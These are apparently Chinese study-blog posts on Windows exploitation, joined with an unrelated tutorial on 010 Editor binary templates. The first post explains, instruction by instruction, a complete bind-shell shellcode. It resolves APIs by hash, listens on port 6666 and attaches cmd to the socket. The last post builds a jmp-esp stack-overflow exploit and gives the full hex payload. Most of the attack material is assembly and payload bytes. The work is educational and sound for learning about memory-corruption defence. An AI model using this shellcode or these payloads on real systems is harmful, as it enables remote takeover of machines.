1.哈希算法不能发生碰撞,或者说存在发生碰撞的可能,但是可以肯定的是,首先匹配的就是目标函数.原则上不设计处理碰撞的算法

2.函数名的摘要值尽可能短

3.哈希算法自己的篇幅尽量短

4.哈希后的摘要值可以当作"准nop指令",即在数值上相当于某些机器码,但是这些机器码的执行不会对shellcode产生影响.如此可以省去跳转指令

书上采取的哈希算法是

hash_loop: 
	lodsb 					; load next char into al and increment esi 
	xor al, 0x71 				; XOR current char with 0x71 
	sub dl, al 				; update hash with current char 
	cmp al, 0x71 				; loop until we reach end of string 
	jne hash_loop

dl初始值为0,

将库函数名逐个字节与0x71异或然后用dl减去该值累计哈希值,

最终的哈希值放在dl中,只需要1个字节

用这个哈希算法得到的各个函数的哈希值:

函数名	哈希值	准nop指令
LoadLibraryA	0x59	pop ecx
CreateProcessA	0x91
ExitProcess	0xc9
WSAStartup	0xd3	or ecx,0x203062d3
WSASocketA	0x62
bind	0x30
listen	0x20
accept	0x41	ecx

然后紧跟着cmd也写上

Ascii字符	Ascii值	准nop指令
C	0x43	inc ebx
M	0x4d	dec dbp
d	0x64	FS:

准nop指令全都是不疼不痒的指令

因此bind-shell一开始是这样写的

; start of shellcode 
; assume: eax points here 
; function hashes (executable as nop-equivalent) 
	_emit 0x59	; LoadLibraryA ; pop ecx 
	_emit 0x81 	; CreateProcessA ; or ecx, 0x203062d3 
	_emit 0xc9 	; ExitProcess 
	_emit 0xd3 	; WSAStartup 
	_emit 0x62 	; WSASocketA 
	_emit 0x30 	; bind 
	_emit 0x20 	; listen 
	_emit 0x41 	; accept ; inc ecx 

; "CMd" 
	_emit 0x43 	; inc ebx 
	_emit 0x4d 	; dec ebp 
	_emit 0x64 	; FS:

_emit相当于db,作用是定义字节数据

这些数据会被当做指令执行下来,但是影响不大

用ida反汇编观察这片区域

59                            pop     ecx
81 C9 D3 62 30 20             or      ecx, 203062D3h
41                            inc     ecx
43                            inc     ebx
4D                            dec     ebp
                              db      64h

只要是不影响程序计数器eip的指令,比如跳转和调用,都可以作为准nop指令

后面的指令从windows11上调试会发生错误,需要在windowsXP上调

解析符号

用三层循环解析符号,最外圈遍历我们要找的符号,中圈遍历库函数,内圈计算一个库函数的哈希值然后和我们的哈希值进行比较

用伪代码表示为

while(遍历我们给出的符号哈希表){
	while(遍历库函数名表){
		while(计算一个库函数的哈希值);
		if(库函数哈希值=我们给出的哈希值){
			//找到了该符号;
			break;
		}
		else{
			//没有找到该符号,尝试下一个用库函数来解析本符号;
			continue;
		}
	}
	if(我们的哈希表解析到头){
		break;
	}
	else continue;
}

外圈循环初始化

使用装载器执行bindshell时,bindshell之前的指令是

1
2
3

lea eax,bindshell
push eax
ret

eax的初始值为bindshell的基地址,bindshell在栈中,因此eax的初始值是一个栈中地址,这对于理解后面的cdq指令是有作用的

设置函数地址存放空间

; start of proper code 
	cdq 					; set edx = 0 (eax points to stack so is less than 0x80000000) 
	xchg eax, esi 			; esi = addr of first function hash 
	lea edi, [esi - 0x18] 	; edi = addr to start writing function 
							; addresses (last addr will be written just 
							; before "cmd")

cdq指令的作用是eax带符号拓展到edx:eax,又bindshell一开始时,eax寄存器中是一个用户栈地址,显然这个值是一个小于0x80000000的数,那么eax的最高位必然是0,带符号拓展到edx全是0,这就用最短的指令使得edx置零了

xchg将eax和esi寄存器中的值进行交换,交换前esi=0,eax=address(shellcode)

交换后eax=0,esi=address(shellcode),又shellcode最开始就是_emit 0x59 ; LoadLibraryA ; pop ecx即LoadLibraryA函数的摘要值,因此相当于设置好了源操作数

然后esi-0x18这个地址放到edi上,距离esi共24字节,放到执行方向的反方向,意思是不要干扰shellcode的执行

奇怪的是,我们需要解析8个符号,为什么只给了24字节6个符号的地址空间呢?

这是因为后两个符号将会覆盖一开始给他设定的摘要的位置

获取kernel32.dll基地址

	
; find base addr of kernel32.dll 
	mov ebx, fs:[edx + 0x30] 	; ebx = address of PEB 
	mov ecx, [ebx + 0x0c] 		; ecx = pointer to loader data 
	mov ecx, [ecx + 0x1c] 		; ecx = first entry in initialisation order list 
	mov ecx, [ecx] 				; ecx = second entry in list (kernel32.dll) 
	mov ebp, [ecx + 0x08] 		; ebp = base address of kernel32.dll

然后开始定位kernel32.dll的基地址

fs段选择子指向GDT中当前程序的线程环境块描述符,

用fs段超越寻址,fs:[edx+0x30],此时edx=0,实际上相当于fs:[0x30],也就是TEB表的0x30位置,即PEB的指针.

寄存器	值意义
ebx	PEB基地址
ecx	initialisation order表第二项,kernel32.dll相关项
ebp	kernel32.dll的基地址

抬栈申请空间


; make some stack space 
	mov dh, 0x03 			; sizeof(WSADATA) is 0x190 
	sub esp, edx

edx始终是0,dh=0x03则edx=0x300

然后抬栈0x300字节

先前esp=0x12FF38,之后esp=0x12FC38

"ws2_32"字符串压栈


; push a pointer to "ws2_32" onto stack 
	mov dx, 0x3233 			; rest of edx is null 
	push edx 
	push 0x5f327377 
	push esp

这里有三个压栈,前两个是压入"ws2_32",后面这个是保存当时的esp位置

外圈循环一次开始

find_lib_functions: 
	lodsb 					; load next hash into al and increment esi 
	cmp al, 0xd3 				; hash of WSAStartup - trigger 
							; LoadLibrary("ws2_32") 
	jne find_functions 
	xchg eax, ebp 			; save current hash 
	call [edi - 0xc] 			; LoadLibraryA 
	xchg eax, ebp 			; restore current hash, and update ebp 
							; with base address of ws2_32.dll 
	push edi 					; save location of addr of first winsock function

汇编语言中不会平白无故地设置标号的,都是为了方便跳转,这里"find_lib_functions"标号意味着循环开始了

lodsb相当于

1 2	mov al,[esi] inc esi

然后al和0xd3比较的意思是,是否是要解析WSAStartup这个函数,如果是,则说明要到ws2_32库中解析函数了,而刚才一直都是在kernel32.dll中解析函数,因此此时需要更换库基址,又已经从kernel32.dll解析了LoadLibraryA,因此可以直接调用该windowsAPI寻找ws2_32.dll的基地址

如果al=0xd3就顺序执行,不跳转,调用LoadLibraryA更换库函数地址,然后再执行find_functions,否则直接跳转find_functions

中圈循环初始化

实际上外圈循环一次,中圈就初始化一次,两个可以看成一块

find_functions: 
	pushad 						; preserve registers 
	mov eax, [ebp + 0x3c]		; eax = start of PE header 
	mov ecx, [ebp + eax + 0x78]	; ecx = relative offset of export table 
	add ecx, ebp 				; ecx = absolute addr of export table 
	mov ebx, [ecx + 0x20] 		; ebx = relative offset of names table 
	add ebx, ebp 				; ebx = absolute addr of names table 
	xor edi, edi 				; edi will count through the functions

首先将所有寄存器压栈,即使有的寄存器不需要压栈保存,也要使用这条指令,因为它短

假设当前仍然是在kernel32.dll中解析函数,这意味着find_lib_functions中的push edi不会执行,那么此时的堆栈状态是

ebp指向的是kernel32.dll或者ws2_32.dll的基地址,库基地址偏移0x3c的地方是库的PE头,

PE头偏移0x78的地方是导出函数地址(RVA)表的指针,这个地址交给ecx保管

ecx加上ebp的作用是获得导出函数地址表的绝对虚拟地址(刚才ecx中是相对于库基址的相对虚拟地址)

ecx+0x20处是导出函数名表的指针,解引用后将导出函数名表的相对基地址交给ebx保管

ebx再加上ebp就得到了导出函数名表的绝对虚拟地址

edi置零,将会作为中圈循环变量

寄存器	值意义
eax	RVA(PE头)
ebx	VA(导出函数名表)
ecx	VA(导出函数地址表)
edi	中圈循环变量,作为导出函数表的下标

中圈循环一次开始

next_function_loop: 
	inc edi 					; increment function counter 
	mov esi, [ebx + edi * 4] 	; esi = relative offset of current function name 
	add esi, ebp 				; esi = absolute addr of current function name 
	cdq 						; dl will hold hash (we know eax is small)

edi每次自增1,然后[ebx+edi*4]基址变址寻址,ebx是导出函数名表的基地址,ebx+edi*4就相当于下标访问数组name[edi],

这个导出函数名表的每一项都是字符串指针,解引用后取得一个函数名字符串的相对基地址,放到esi,然后esi+ebp得到该函数名字符串的绝对基地址.

cdq用eax带符号拓展将edx置零,因为edx马上就要存放该导出函数名的哈希值了

内圈循环hash_loop

hash_loop: 
	lodsb 					; load next char into al and increment esi 
	xor al, 0x71 				; XOR current char with 0x71 
	sub dl, al 				; update hash with current char 
	cmp al, 0x71 				; loop until we reach end of string 
	jne hash_loop

内圈循环就是计算esi开始的导出函数名的哈希值

lodsb相当于

1 2	mov al,[esi] inc esi

每次取该函数名的一个字节放到al上,和0x71按位异或之后用dl减去该异或值,dl负责累计哈希值

如果al与0x71异或得到0x71说明al本来就是00,说明该字符串遍历到头'\0'了,此时算是计算完了本函数名的哈希值

中圈循环一次判断

1 2	cmp dl, [esp + 0x1c] ; compare to the requested hash (saved on stack from pushad) jnz next_function_loop

al中存放刚计算出哈希值,esp+0x1c指向的是我们正在给他解析地址的函数摘要

al与[esp+0x1c]一比划,如果相等说明该找到了目标函数,跳出中圈循环

如果不相等说明当前库函数名不是我们想要解析的,需要中圈遍历下一个函数名,因此jnz next_function_loop

外圈循环一次结束,回写目标函数绝对地址

此时寄存器中值的意义来自中圈循环初始化

ebx	VA(导出函数名表)
ecx	VA(导出函数地址表)

mov ebx, [ecx + 0x24] 		; ebx = relative offset of ordinals table 
add ebx, ebp 				; ebx = absolute addr of ordinals table 
mov di, [ebx + 2 * edi] 		; di = ordinal number of matched function 
mov ebx, [ecx + 0x1c] 		; ebx = relative offset of address table 
add ebx, ebp 				; ebx = absolute addr of address table 
add ebp, [ebx + 4 * edi] 	; add to ebp (base addr of module) the 
							; relative offset of matched function 
xchg eax, ebp 				; move func addr into eax 
pop edi 					; edi is last onto stack in pushad 
stosd 					; write function addr to [edi] and increment edi 
push edi 
popad					; restore registers

ecx+0x24指向序号表的RVA,解引用后将序号表RVA放到ebx上然后加上ebp中的库基址就得到了VA(序号表)

用函数名表的下标查序号表,得到的值作为下标查地址表就得到了函数地址,

在回写之前首先退栈还原edi,这是因为在中圈循环初始化时所有寄存器都压栈保存了,后来无法保证edi是否被修改过,因此这里采用堆栈上保存的值还原edi,由于edi是最后一个入栈的寄存器,此时位于栈顶,直接pop就可以还原了,在图上看就是

然后使用stosd,相当于

1 2	mov [edi],eax add edi,4

这就将函数地址回写到了预留的函数地址空间中了

然后再将edi压栈是为了凑齐popad的结构,给edi占位防止错位弹出

最后popad将所有压栈保存的寄存器还原,此时的堆栈状态为

所有寄存器的意义为

外圈循环判断是否全部解析完毕

1
2
3

cmp esi, edi 				; loop until we reach end of last hash 
jne find_lib_functions

一开始给8个符号的地址只预留了24字节的空间,能够容纳6个符号,剩下两个符号需要覆盖摘要值

当edi追上esi的时候意味着覆盖完成,8个符号已经都解析了,此时外圈循环也结束了

建立Socket通信

1 2	pop esi ; saved location of first winsock function ; we will lodsd and call each func in sequence

在外圈循环一次的时候曾经区别处理过ws2_32.dll的函数有一个push edi压栈,意思是压栈保存第一条ws2_32.dll函数的地址

find_lib_functions: 
	lodsb 					; load next hash into al and increment esi 
	cmp al, 0xd3 				; hash of WSAStartup - trigger 
							; LoadLibrary("ws2_32") 
	jne find_functions 
	xchg eax, ebp 			; save current hash 
	call [edi - 0xc] 			; LoadLibraryA 
	xchg eax, ebp 			; restore current hash, and update ebp 
							; with base address of ws2_32.dll 
	push edi 					; save location of addr of first winsock function

在执行本条指令之前的堆栈状态

pop esi之后,esi就指向了第一条ws2_32的函数在预留空间中的地址,也就是WSAStartup的预留地址

调用WSAStartUp

该API函数作用是为进程使用Winsock模块初始化,必须先调用该函数才可以激活Winsock模块中的其他函数,其接口为

int WSAStartup(
        WORD      wVersionRequired,//可以使用的windows 套接字规范的最高版本


  [out] LPWSADATA lpWSAData//返回值,指向WSADATA结构体的指针
);

其中32位机器上,WSADATA长这样

typedef struct WSAData {
        WORD                    wVersion;//我们要使用的版本
        WORD                    wHighVersion;//系统能提供给我们的版本
        char                    szDescription[WSADESCRIPTION_LEN+1];
        char                    szSystemStatus[WSASYS_STATUS_LEN+1];//当前库的秒数信息，2.0是第2版的意思
        unsigned short          iMaxSockets;//返回可用的socket数量,2版本只有就没用了
        unsigned short          iMaxUdpDg;//UDP数据报信息大小,2版本只有就没用了
        char FAR *              lpVendorInfo;//供应商特定的信息,2版本只有就没用了
} WSADATA;

共11个字节

; initialize winsock 
	
	push esp 					; use stack for WSADATA 
	push 0x02 				; wVersionRequested 
	lodsd 
	call eax 					; WSAStartup

首先esp压栈作为第二个参数的地址,返回的WSADATA结构体将会写到此时的栈顶

0x02压栈作为第一个参数,即套接字版本号

esi恰好就指向WSAStartUp的预留地址,lodsd相当于

1 2	mov eax,[esi] add esi,4

就解引用将函数的绝对地址放到eax上了

然后call eax调用API,返回值写到所有参数之前的栈顶上,如果函数调用成功则eax=0

给"CMd"画上句号

趁着eax刚从WSAStartUp返回来,值为0,将0放到"CMd"字符串后面

1 2	; null-terminate "cmd" mov byte ptr [esi + 0x13], al ; eax = 0 if WSAStartup() worked

调用WSASocketA

WSASockA创建一个绑定到特殊服务提供者的套接字

其函数接口为

SOCKET WSAAPI WSASocketA(
  [in] int                 af,//网络层协议,AF_INET(2)
  [in] int                 type,//传输层类型SOCK_STREAM(1)
  [in] int                 protocol,//传输层协议,TCP(6),UDP(17)
  [in] LPWSAPROTOCOL_INFOA lpProtocolInfo,//WSAPROTOCOL_INFO结构体指针,用于存储信息
  [in] GROUP               g,//套接字组ID
  [in] DWORD               dwFlags//套接字属性标志
);

如果调用成功,返回该套接字的描述符

清空栈帧,相当于填充NULL作为参数

; clear some stack to use as NULL parameters 
	lea ecx, [eax + 0x30] 		; sizeof(STARTUPINFO) = 0x44, ecx=0x30,重复30次
	mov edi, esp ;当前栈顶设置为串拷贝的目标
	rep stosd 				; eax is still 0 eax拷贝到edi,edi自增4,相当于全都置零

执行之前栈帧的状态

执行之后



; create socket 
	inc eax 	;eax=1
	push eax					; type = 1 (SOCK_STREAM) ,1压栈
	inc eax ;eax=2
	push eax ; af = 2 (AF_INET) IPv4协议
	lodsd ;[esi]->eax,esi+=4,eax指向WSASocketA的地址
	call eax ; WSASocketA 
	xchg ebp, eax				; save SOCKET descriptor in ebp (safe from 
								; being changed by remaining API calls)

调用WSASocketA之前,栈帧的状态为

函数调用返回后,eax中存放的是套接字描述符,交换到ebp中保存起来

bind,listen,accept循环

初始化bind参数

bind函数用来绑定套接字

其接口为

int bind(
  [in] SOCKET         s,//套接字描述符
       const sockaddr *name,//sockaddr结构体指针,该结构体用于指定ipv4地址还有端口号
  [in] int            namelen//name指向的结构体的大小
);

只要是namelen>sizeof(*name)就可以,因此namelen可以往大了设置为任意大小

sockaddr用来指定ip协议类型,ip地址还有端口号

struct sockaddr {
	unsigned short sa_family; /* address family, AF_xxx */
	char sa_data[14]; /* 14 bytes of protocol address */
};

相当于sockaddr_in结构体,二者在大小上是相同的

struct sockaddr_in {
	short int sin_family; /* Address family */
	unsigned short int sin_port; /* Port number */
	struct in_addr sin_addr; /* Internet address */
	unsigned char sin_zero[8]; /* Same size as struct sockaddr */
};

; push bind parameters 
	mov eax, 0x0a1aff02 		; 0x1a0a = port 6666, 0x02 = AF_INET 
	xor ah, ah					; remove the ff from eax 
	push eax	 				; we use 0x0a1a0002 as both the name (struct 
								; sockaddr) and namelen (which only needs to 
								; be large enough) 
	push esp 					; pointer to our sockaddr struct

0x0a1a0002这个值直接压栈作为namelen,足够大了

0x0a1a0002,最低两个字节0x0002用来填sockaddr_in.sin_family

然后用0x0a1a=6666填sockaddr_in.sin_port

将namelen的栈中地址压栈,因为其上的数也可以作为sock_addr结构体

到此还有一个参数没有压栈,即套接字描述符,它保存在ebp中

三联循环,复用循环代码


	
; call bind(), listen() and accept() in turn 
call_loop: 
	push ebp					; saved SOCKET descriptor (we implicitly pass 
								; NULL for all other params) 
	lodsd 
	call eax 					; call the next function 
	test eax, eax 				; bind() and listen() return 0, accept() 
								; returns a SOCKET descriptor 
	jz call_loop

首先调用bind

ebp存放的是套接字描述符,压栈

然后lodsd将bind函数地址搬到eax上,然后函数edi函数指针后移4个字节,指向listen了

eax中是bind的地址,call eax调用bind了

如果调用成功则返回eax=0,又恰好bind,listen成功的返回值eax=0,accept成功的返回值非零,因此可以根据eax值判断该函数是不是accept

如果返回0则不是,说明三联还没有完成,重新call_loop

然后调用listen

listen函数,将套接字设置为监听状态

其接口为

int WSAAPI listen(
  [in] SOCKET s,//套接字描述符
  [in] int    backlog//挂起连接队列的最大长度,不疼不痒
);

这里我们只对第一个参数,套接字描述符,感兴趣,backlog爱是啥是啥,反正不是0就行

于是在第二次循环一开始又将ebp压入作为第一个参数,历史上的堆栈,爱谁谁作为第二个参数

lodsd 又将listen地址放到eax上然后edi指向下一个函数accept,

然后就调用了listen,返回eax=0

最后调用accept

accept用于接收对套接字的连接

调用成功返回新的套接字描述符

拱手让shell

到此套接字通信就建立起来了,下面要创建一个cmd进程然后绑到套接字上

CreateProcess用于创建一个新进程并创建其主线程

BOOL CreateProcess(  
　LPCTSTR lpApplicationName, // 应用程序名称  
　LPTSTR lpCommandLine, // 命令行字符串  //这里放"CMd"
　LPSECURITY_ATTRIBUTES lpProcessAttributes, // 进程的安全属性  
　LPSECURITY_ATTRIBUTES lpThreadAttributes, // 线程的安全属性  
　BOOL bInheritHandles, // 是否继承父进程的属性  
　DWORD dwCreationFlags, // 创建标志  
　LPVOID lpEnvironment, // 指向新的环境块的指针  
　LPCTSTR lpCurrentDirectory, // 指向当前目录名的指针  
　LPSTARTUPINFO lpStartupInfo, // 传递给新进程的信息  
　LPPROCESS_INFORMATION lpProcessInformation // 新进程返回的信息  
);

其中lpStartupInfo用于和套接字绑定,重要

typedef struct _STARTUPINFO
{
   DWORD cb;            //包含STARTUPINFO结构中的字节数.如果Microsoft将来扩展该结构,它可用作版本控制手段.
                        //应用程序必须将cb初始化为sizeof(STARTUPINFO)
   PSTR lpReserved;      //保留。必须初始化为N U L L
   PSTR lpDesktop;    //用于标识启动应用程序所在的桌面的名字。如果该桌面存在，新进程便与指定的桌面相关联。
                      //如果桌面不存在，便创建一个带有默认属性的桌面，并使用为新进程指定的名字。
                     //如果lpDesktop是NULL（这是最常见的情况),那么该进程将与当前桌面相关联
   PSTR lpTitle;    //用于设定控制台窗口的名称。如果l p Ti t l e 是N U L L ，则可执行文件的名字将用作窗口名
   DWORD dwX;       //用于设定应用程序窗口在屏幕上应该放置的位置的x 和y 坐标（以像素为单位）。
   DWORD dwY;       //只有当子进程用CW_USEDEFAULT作为CreateWindow的x参数来创建它的第一个重叠窗口时,
                    //才使用这两个坐标。若是创建控制台窗口的应用程序，这些成员用于指明控制台窗口的左上角

   DWORD dwXSize;  //用于设定应用程序窗口的宽度和长度（以像素为单位）只有dwYsize
    DWORD dwYSize;   //当子进程将C W _ U S E D E FA U LT 用作C r e a t e Wi n d o w 的
                    // n Wi d t h参数来创建它的第一个重叠窗口时，才使用这些值。
                     //若是创建控制台窗口的应用程序，这些成员将用于指明控制台窗口的宽度
   DWORD dwXCountChars;  //用于设定子应用程序的控制台窗口的宽度和高度（以字符为单位）
   DWORD dwYCountChars;
   DWORD dwFillAttribute;   //用于设定子应用程序的控制台窗口使用的文本和背景颜色
   DWORD dwFlags;           //请参见下一段和表4 - 7 的说明
   WORD wShowWindow;        //用于设定如果子应用程序初次调用的S h o w Wi n d o w 将S W _ S H O W D E FA U LT 作为
                             // n C m d S h o w 参数传递时，该应用程序的第一个重叠窗口应该如何出现。
                             // 本成员可以是通常用于Show Wi n d o w 函数的任何一个S W _ *标识符
   WORD cbReserved2;        //保留。必须被初始化为0
   PBYTE lpReserved2;       //保留。必须被初始化为N U L L
   HANDLE hStdInput;        //用于设定供控制台输入和输出用的缓存的句柄。
                            //按照默认设置，h S t d I n p u t 用于标识键盘缓存，
                           // h S t d O u t p u t 和h S t d E r r o r用于标识控制台窗口的缓存
   HANDLE hStdOutput;
   HANDLE hStdError;
} STARTUPINFO, *LPSTARTUPINFO;

初始化STARTUPINFO结构体

; initialise a STARTUPINFO structure at esp 
	inc byte ptr [esp + 0x2d] 	; set STARTF_USESTDHANDLES to true 
	sub edi, 0x6c 				; point edi at hStdInput in STARTUPINFO 
	stosd 					; use SOCKET descriptor returned by accept 
							; (still in eax) as the stdin handle 
	stosd 					; same for stdout 
	stosd					; same for stderr (optional)

这里edi和esp已经离得很近了,在sub edi,0x6c之前

之后

然后在edi的最后三个双字上(stdinput,stdout,stderr)都设置为eax中的套接字描述符

剩余的字节都是0

CreateProcessA

栈顶位置还啥也没写,推给eax当0用


; create process 
	pop eax 			; set eax = 0 (STARTUPINFO now at esp + 4) 
	push esp			; use stack as PROCESSINFORMATION structure 
	; (STARTUPINFO now back to esp) 
	push esp 			; STARTUPINFO structure 
	push eax 		; lpCurrentDirectory = NULL 
	push eax 		; lpEnvironment = NULL 
	push eax 		; dwCreationFlags = NULL 
	push esp 			; bInheritHandles = true 
	push eax 		; lpThreadAttributes = NULL 
	push eax 		; lpProcessAttributes = NULL 
	push esi 			; lpCommandLine = "cmd" 
	push eax 		; lpApplicationName = NULL 
	call [esi - 0x1c] 	; CreateProcessA

这就创建了一个cmd进程,其三标都重定向到套接字了

测试

windows XP靶机和win10主机采用NAT连接方式,XP靶机的ip地址为192.168.191.137

在主机上nc 192.168.191.137 6666

010editor 模板语法

Posted on 2022-09-17

010editor 模板编写

以linux上的归档文件AR,或者说windows上的静态库LIB为例看看模板是咋写的

总的来说,写010editor模板就是定义结构体.

AR结构

需要结合AR文件的结构,理解AR模板

程序员的自我修养 chapter 9 LIB | Deutschball's blog (dustball.top)

AR文件由一个签名魔数!<arch>\n还有多个obj模块组成,

每个obj模块之前都会有一个头,作用是描述该obj模块的信息

这个头的定义大概是这样的,字节数是对的,但是变量名叫啥无所谓

typedef struct {
    char    fileName[16];//文件名
    char    modification_timestamp[12];//最后修改时间戳
    char    ownerID[6];//拥有者ID
    char    groupID[6];//组ID
    char    fileMode[8];//文件模式
    char    fileSize[10];//文件大小
    char    endMarker[2];//本头结束符
} OBJ_HEADER;

后面紧跟着就是obj模块正文了

如果obj模块的大小是一个奇数,则后面再填充一个字节

这就是一个obj模块在AR文件中的状态

AR模板

结构定义

AR 模板的主体就是这么一个ar_flie结构体,成员他都有,又附加了一些额外的函数等等

typedef struct {
    // Define header
    SetBackColor( cLtYellow );//从这里开始的数据被高亮为亮黄色
    char    fileName[16];//文件名,没有local修饰,会显示
    char    modification_timestamp[12];
    char    ownerID[6];
    char    groupID[6];
    char    fileMode[8];
    char    fileSize[10];
    char    endMarker[2];
    SetBackColor( cNone );//取消高亮

    // Define file data
    if( endMarker == "\x60\x0a" )//如果endMarker=='\0x60\0x0a'说明都对齐了,没有差错
    {
        local int64 size;//local变量不会显示,只是计算使用
        SScanf( fileSize, "%Ld", size );//010editor API,将fileSize转化成长整型,放到格式化参数size上
        if( size > 0 )//如果size>0说明本头是有对应obj模块的,obj模块的大小已经在filesize中给出了
            uchar data[size];//此处定义的uchar data[size]没有用local修饰,是会显示的,size会显示出变量值

        // Add padding byte
        if( size & 1 )//如果size文件大小是个奇数则最后填充一个字节
            uchar padding <bgcolor=cLtGray>;//该填充字节使用亮灰色高亮
    }
} ar_file <read=ReadArFile>;//读回调函数声明为ReadArFile
// Display filename beside ar_file struct
string ReadArFile( struct ar_file &f )//读回调函数
{
    return f.fileName + " size=" + f.fileSize;
}

读回调函数的返回值是一个string字符串,将会显示在Value栏

控制流

上述typedef struct ar_file和ReadArFile都只是定义,这一点和C语言相同,并没有实例化ar_file结构体的对象,也没有调用ReadArFile函数,下面才开始控制流

// Read the file signature
char signature[8] <bgcolor=cLtPurple>;//首先定义8个字节用来承载文件魔数,亮紫色高亮
if( signature != "!<arch>\n" )//判断魔数是否是AR的魔数,如果不是则返回-1表明模板错误
{
    Warning( "File is not a valid archive. Template stopped." );//API函数,发出警告
    return -1;
}

// Read file records
while( !FEof() )//FEof为010editor API,用于检查当前文件指针是否到达文件末尾
{
    ar_file file;//如果文件指针没有到达末尾,说明还有obj模块的信息没有分析,每次读入填充一个ar_file,直到全都读取完毕
}

每个obj模块的正文长度都是不一样的,但是读取的时候都是创建ar_file,怎么体现对于不同模块的区别对待呢?

已经包含在ar_file结构体的定义中了

1
2

if( size > 0 )//如果size>0说明本头是有对应obj模块的,obj模块的大小已经在filesize中给出了
           uchar data[size];//此处定义的uchar data[size]没有用local修饰,是会显示的,size会显示出变量值

不得不说,优雅,真的太优雅了,010editor将复杂的工作留给自己

模板的组成

变量

只要是在控制流中创建的变量,都分成两种,带local的和不带local的

带local的是临时变量,不会显示在界面上,只用于承载临时变量,比如作为循环变量或者中间结果

在AR模板中local int size就作为中间结果承载filesize字符串的转换值

不带local的就是界面变量,会显示在界面上.比如ar_file file;比如char signature[8];

属性

尖括号内可以附加属性

比如uchar padding <bgcolor=cLtGray>;这就把一个字节的填充设置为亮灰色

比如char signature[8] <bgcolor=cLtPurple>;就把魔数签名设置为亮紫色了

又如ar_file <read=ReadArFile>;就给每个ar_file头都设置了读回调函数ReadArFile

该函数的作用是在头的value域上写f.fileName + " size=" + f.fileSize

常用的属性有

<format=hex|decimal|octal|binary>,//设置数字显示格式
fgcolor=<color>, //前景色
bgcolor=<color>, //背景色
comment= "<string>", //注释
open=true|false|suppress, //默认情况下是折叠还是展开
hidden=true|false, //
read=<function_name>, //读回调函数
write=<function_name> //写回调函数

API

参考010Editor脚本语法入门 - 简书 (jianshu.com)

想用啥功能就去查010editor的啥函数

shellcode

Posted on 2022-09-17 Edited on 2022-09-18

shellcode

jmp esp

在第二章的实验中,跳转执行堆栈中的shellcode时,使用的是绝对地址,只要是换个系统,可能就不是这个地址了.user32在不同的平台上,映像基址也不同,MessageBoxA函数的地址也不同.

也就是说第二章的代码只适用于很小范围的操作系统环境.现在要开发老少通吃的shellcode代码.

但是有一点可以确定的是,esp栈顶指针总会在一个函数retn之前退回到函数一开始时的状态

.text:00401090;开端
.text:00401090                 push    ebp;这个push和最后的pop也是相对应的
.text:00401091                 mov     ebp, esp
.text:00401093                 sub     esp, 448h;扩大448个字节
....;正文部分
;尾声
.text:00401152                 add     esp, 448h;退栈448h个字节
.text:00401158                 cmp     ebp, esp
.text:0040115A                 call    __chkesp
.text:0040115F                 mov     esp, ebp
.text:00401161                 pop     ebp
.text:00401162                 retn
.text:00401162 _main_0         endp ; sp-analysis failed

retn之后,esp退回到调用之前的状态,即调用者已经将参数压栈准备好的状态,接下来调用者就得清理参数了

根据这一点,可以将shellcode溢出到被调用者栈帧,调用者ebp,返回地址,参数,调用者栈帧

其中返回地址之后的(被调用者栈帧,调用者ebp)随便填充

返回地址可以找一条jmp esp的地址放上

shellcode写到返回地址之前的参数,甚至调用者栈帧里

之后eip顺势执行返回地址之前的shellcode

现在的问题是,从哪里找jmp esp,显然要从一个万年不变的地方,相对来说,user32.dll,kernel32.dll这种动态库就是个好地方

正常情况下,系统的dll的代码段是找不到jmp esp这种脑残一样的指令的,既要堆栈不可执行,又要控制跳转到堆栈,属于是既要当婊子,又要立牌坊了.

但是jmp esp本质上就是0xFFE4这么一个机器码,从海量的dll库中,随便挑一个地方查0xFFE4这么一串数字,不是没有存在的可能

用ida打开user32.dll,Ctrl+B查找字节序列0xFFE4,能找到很多这种序列,比如

一定要注意字节序,一定要注意字节序,一定要注意字节序,一定要注意字节序,一定要注意字节序

为了让程序弹窗之后能够正常退出,需要调用exit(0)函数,这个函数在kernel32.dll中,可以用dependency walker查其位置

Kernel32.dll映像基址0x77E40000,

ExitProcess函数的RVA=0x00015CB5

则VA(ExitProcess)=RVA(ExitProcess)+ImageBase(Kernel32.dll)=0x77E55CB5

为了将shellcode从汇编指令转化为机器码,可以使用内联汇编_asm{}

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
	HINSTANCE LibHandle;
	char dllbuf[11] = "user32.dll";
	LibHandle = LoadLibrary(dllbuf);
	_asm { 
 		sub sp,0x440
 		xor ebx,ebx
 		push ebx // cut string
 		push 0x74736577
 		push 0x6C696166 // push failwest
 		mov eax,esp // load address of failwest
 		push ebx
 		push eax
 		push eax
 		push ebx
 		mov eax,0x77D3ADD7 // address should be reset in different OS
 		call eax // call MessageboxA
  		push ebx
 		mov eax,0x77E55CB5
 		call eax // call exit(0)
	}
}

编译链接之后用010editor打开,在.text节找到内联的汇编代码

对应的机器码为

1 2	66 81 EC 40 04 33 DB 53 68 77 65 73 74 68 66 61 69 6C 8B C4 53 50 50 53 B8 D7 AD D3 77 FF D0

这是31个字节

从buffer到返回地址家门口一共是52个字节,随便用52个'A'填充即可

然后返回地址用0x77D4754A覆盖

然后加上31个字节的shellcode,就得到了完整的exploit,共52+4+31=87字节

放到windows虚拟机上跑一下

通了

但是点击确定之后还是会报错

eip=0x12FB49的时候发生的错误,错误代码0x80000003,意思是遭遇到中断了

下面调试一下看看发生了什么

调试

strcmp拷贝password到buffer之后

retn之后

控制已经转移到user32.dll中,0x77D4754A位置,将要执行jmp esp,而此时esp=0x12FB28

此处正是溢出放置的shellcode

jmp esp之后

控制已经转移到0x12F828

call eax之后,竟然是一个add ah,cl,然后紧跟着就是一大片int 3中断指令,不是预期的

1 2	mov eax,0x77E55CB5 call eax // call exit(0)

在执行完add ah,cl之后,控制到达0x12FB49位置,这时候程序就会报告0x80000003号错误了

检查了一圈发现原来是忘记拷贝这两条指令的机器码了,绷不住了

改正后的password.txt

41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 4A 75 D4 77 66 81 EC 40 04 33 DB 53
68 77 65 73 74 68 66 61 69 6C 8B C4 53 50 50 53
B8 D7 AD D3 77 FF D0 53 B8 B5 5C E5 77 FF D0

用这个password.txt作为负载就打通了,并且程序能够全身而退不报错

扩大靶面积

shellcode放在那里?

第二章将shellcode直接写入buffer中,有被再次长起来的堆栈覆盖的风险

本章的方法直接将shellcode藏到ESP的头上,ESP只会向下长,就不用担心shellcode被覆盖了

